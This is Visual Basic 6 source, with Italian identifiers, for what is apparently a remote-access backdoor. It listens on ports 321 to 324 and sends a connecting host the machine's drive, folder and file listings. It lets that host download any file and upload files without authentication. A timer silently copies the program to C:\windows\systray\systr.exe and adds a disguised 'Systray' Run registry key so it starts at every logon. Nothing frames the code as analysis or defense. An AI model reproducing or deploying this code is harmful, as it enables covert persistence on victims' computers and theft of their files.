Option Explicit
Dim k, d, f, x As Integer
Dim conteggio As Double
Dim Drive(0 To 100) As String
Dim file(0 To 200) As String
Dim dir(0 To 150) As String
Dim datiricevuti As String
Dim IpAdress As String
Dim Uploading As Boolean
Private Sub Combo1_Click()
On Error GoTo Error
Drive1.Drive = Combo1.List(Combo1.ListIndex)
Error:
End Sub
Private Sub Dir1_Change()
File1.Path = Dir1.Path
Call Aggiorna
End Sub
Private Sub Drive1_Change()
On Error GoTo error_handler
Dir1.Path = Drive1.Drive
error_handler:
End Sub
Private Sub Aggiorna()
List1.Clear
List2.Clear
For k = 0 To (Drive1.ListCount - 1)
Drive(k) = Drive1.List(k)
Combo1.List(k) = Drive(k)
Next k
List1.AddItem ("..")
For d = 0 To (Dir1.ListCount - 1)
dir(d) = Dir1.List(d)
List1.List(d + 1) = dir(d)
Next d
For f = 0 To (File1.ListCount - 1)
file(f) = File1.List(f)
List2.List(f) = file(f)
Next f
resend
End Sub
Private Sub connetti()
wsk.Close
wsk.LocalPort = 321
wsk.Listen
wsk2.Close
wsk2.RemotePort = 322
wsk2.RemoteHost = IpAdress
wsk2.Connect
Wsk3.Close
Wsk3.LocalPort = 323
Wsk3.Listen
Wsk4.Close
Wsk4.RemotePort = 324
Wsk4.RemoteHost = IpAdress
Wsk4.Connect
End Sub
Private Sub Form_Load()
connetti
Aggiorna
End Sub
Private Sub List1_dblClick()
On Error GoTo Error
Dir1.Path = List1.List(List1.ListIndex)
Error:
End Sub
Private Sub wsk2_Connect()
Aggiorna
End Sub
Private Sub wsk_ConnectionRequest(ByVal requestID As Long)
If wsk.State <> sckClosed Then wsk.Close
wsk.Accept requestID
IpAdress = wsk.RemoteHostIP
Aggiorna
End Sub
Private Sub wsk3_ConnectionRequest(ByVal requestID As Long)
If Wsk3.State <> sckClosed Then Wsk3.Close
Wsk3.Accept requestID
IpAdress = Wsk3.RemoteHostIP
End Sub
Public Sub resend()
On Error GoTo Error
wsk2.SendData "start"
DoEvents
For k = 0 To List2.ListCount - 1
wsk2.SendData "file:" & List2.List(k)
DoEvents
Next k
For k = 0 To Combo1.ListCount - 1
wsk2.SendData "drive:" & Combo1.List(k)
DoEvents
Next k
For k = 0 To List1.ListCount - 1
wsk2.SendData "dir:" & List1.List(k)
DoEvents
Next k
Error:
End Sub
Private Sub wsk_DataArrival(ByVal bytesTotal As Long)
wsk.GetData datiricevuti
If Mid(datiricevuti, 1, 6) = "drive:" Then
Combo1.ListIndex = Mid(datiricevuti, 7, Len(datiricevuti) - 6)
ElseIf Mid(datiricevuti, 1, 4) = "dir:" Then
List1.ListIndex = Mid(datiricevuti, 5, Len(datiricevuti) - 4)
List1_dblClick
End If
End Sub
Private Sub Wsk3_DataArrival(ByVal bytesTotal As Long)
Dim data3 As String
Dim data4 As String
Wsk3.GetData data3
If Mid(data3, 1, 7) = "upload:" Then
Open Dir1.Path & "\" & Mid(data3, 8) For Binary As #1
Uploading = True
GoTo fine
End If
If Uploading = True Then
If data3 = "upend" Then
Close #1
Uploading = False
GoTo fine
End If
Put #1, , data3
Else
Open File1.Path & "\" & data3 For Binary As #1
Wsk4.SendData "down"
DoEvents
data4 = Space(4000)
For conteggio = 0 To CLng(LOF(1) / 4000)
Get #1, conteggio * CLng(4000) + 1, data4
Wsk4.SendData data4
DoEvents
Next conteggio
Wsk4.SendData "Ter"
DoEvents
Close #1
End If
fine:
End Sub
Private Sub Timer1_Timer()
If Not App.Path = "C:\windows\systray" Then
On Error Resume Next
Dim addsta
MkDir "C:\windows\systray\"
Set addsta = CreateObject("WScript.Shell")
addsta.regwrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Systray", "C:\windows\systray\systr.exe", "REG_SZ"
Call FileCopy(App.Path & "\" & App.EXEName & ".exe", "C:\windows\systray\systr.exe")
On Error GoTo 0
End If
Select Case wsk.State
Case sckConnected
Text1.BackColor = RGB(100, 255, 100)
Text1.Text = "Connected"
Case sckClosed
Text1.BackColor = RGB(255, 100, 100)
Text1.Text = "Closed"
Case sckListening
Text1.BackColor = RGB(255, 255, 100)
Text1.Text = "Listening.."
Case sckConnectionPending
Text1.BackColor = RGB(255, 255, 100)
Text1.Text = "Connection Pending..."
Case sckResolvingHost
Text1.BackColor = RGB(100, 255, 100)
Text1.Text = "Resolving Host.."
Case sckConnecting
Text1.BackColor = RGB(255, 255, 100)
Text1.Text = "Connecting"
Case sckClosing
Text1.BackColor = RGB(255, 100, 100)
Text1.Text = "Closing.."
wsk.Close
wsk.LocalPort = 321
wsk.Listen
Case sckError
Text1.BackColor = RGB(255, 100, 100)
Text1.Text = "!Error!"
wsk.Close
wsk.LocalPort = 321
wsk.Listen
End Select
Select Case wsk2.State
Case sckConnected
Text2.BackColor = RGB(100, 255, 100)
Text2.Text = "Connected"
Case sckClosed
Text2.BackColor = RGB(255, 100, 100)
Text2.Text = "Closed"
Case sckListening
Text2.BackColor = RGB(255, 255, 100)
Text2.Text = "Listening.."
Case sckConnectionPending
Text2.BackColor = RGB(255, 255, 100)
Text2.Text = "Connection Pending..."
Case sckResolvingHost
Text2.BackColor = RGB(100, 255, 100)
Text2.Text = "Resolving Host.."
Case sckConnecting
Text2.BackColor = RGB(255, 255, 100)
Text2.Text = "Connecting"
Case sckClosing
Text2.BackColor = RGB(255, 100, 100)
Text2.Text = "Closing.."
wsk2.Close
wsk2.RemotePort = 322
wsk2.RemoteHost = IpAdress
wsk2.Connect
Case sckError
Text2.BackColor = RGB(255, 100, 100)
Text2.Text = "!Error!"
wsk2.Close
wsk2.RemotePort = 322
wsk2.RemoteHost = IpAdress
wsk2.Connect
End Select
Select Case Wsk3.State
Case sckConnected
Text3.BackColor = RGB(100, 255, 100)
Text3.Text = "Connected"
Case sckClosed
Text3.BackColor = RGB(255, 100, 100)
Text3.Text = "Closed"
Case sckListening
Text3.BackColor = RGB(255, 255, 100)
Text3.Text = "Listening.."
Case sckConnectionPending
Text3.BackColor = RGB(255, 255, 100)
Text3.Text = "Connection Pending..."
Case sckResolvingHost
Text3.BackColor = RGB(100, 255, 100)
Text3.Text = "Resolving Host.."
Case sckConnecting
Text3.BackColor = RGB(255, 255, 100)
Text3.Text = "Connecting"
Case sckClosing
Text3.BackColor = RGB(255, 100, 100)
Text3.Text = "Closing.."
Wsk3.Close
Wsk3.LocalPort = 323
Wsk3.Listen
Case sckError
Text3.BackColor = RGB(255, 100, 100)
Text3.Text = "!Error!"
Wsk3.Close
Wsk3.LocalPort = 323
Wsk3.Listen
End Select
Select Case Wsk4.State
Case sckConnected
Text4.BackColor = RGB(100, 255, 100)
Text4.Text = "Connected"
Case sckClosed
Text4.BackColor = RGB(255, 100, 100)
Text4.Text = "Closed"
Case sckListening
Text4.BackColor = RGB(255, 255, 100)
Text4.Text = "Listening.."
Case sckConnectionPending
Text4.BackColor = RGB(255, 255, 100)
Text4.Text = "Connection Pending..."
Case sckResolvingHost
Text4.BackColor = RGB(100, 255, 100)
Text4.Text = "Resolving Host.."
Case sckConnecting
Text4.BackColor = RGB(255, 255, 100)
Text4.Text = "Connecting"
Case sckClosing
Text4.BackColor = RGB(255, 100, 100)
Text4.Text = "Closing.."
Wsk4.Close
Wsk4.RemotePort = 324
Wsk4.RemoteHost = IpAdress
Wsk4.Connect
Case sckError
Text4.BackColor = RGB(255, 100, 100)
Text4.Text = "!Error!"
Wsk4.Close
Wsk4.RemotePort = 324
Wsk4.RemoteHost = IpAdress
Wsk4.Connect
End Select
End Sub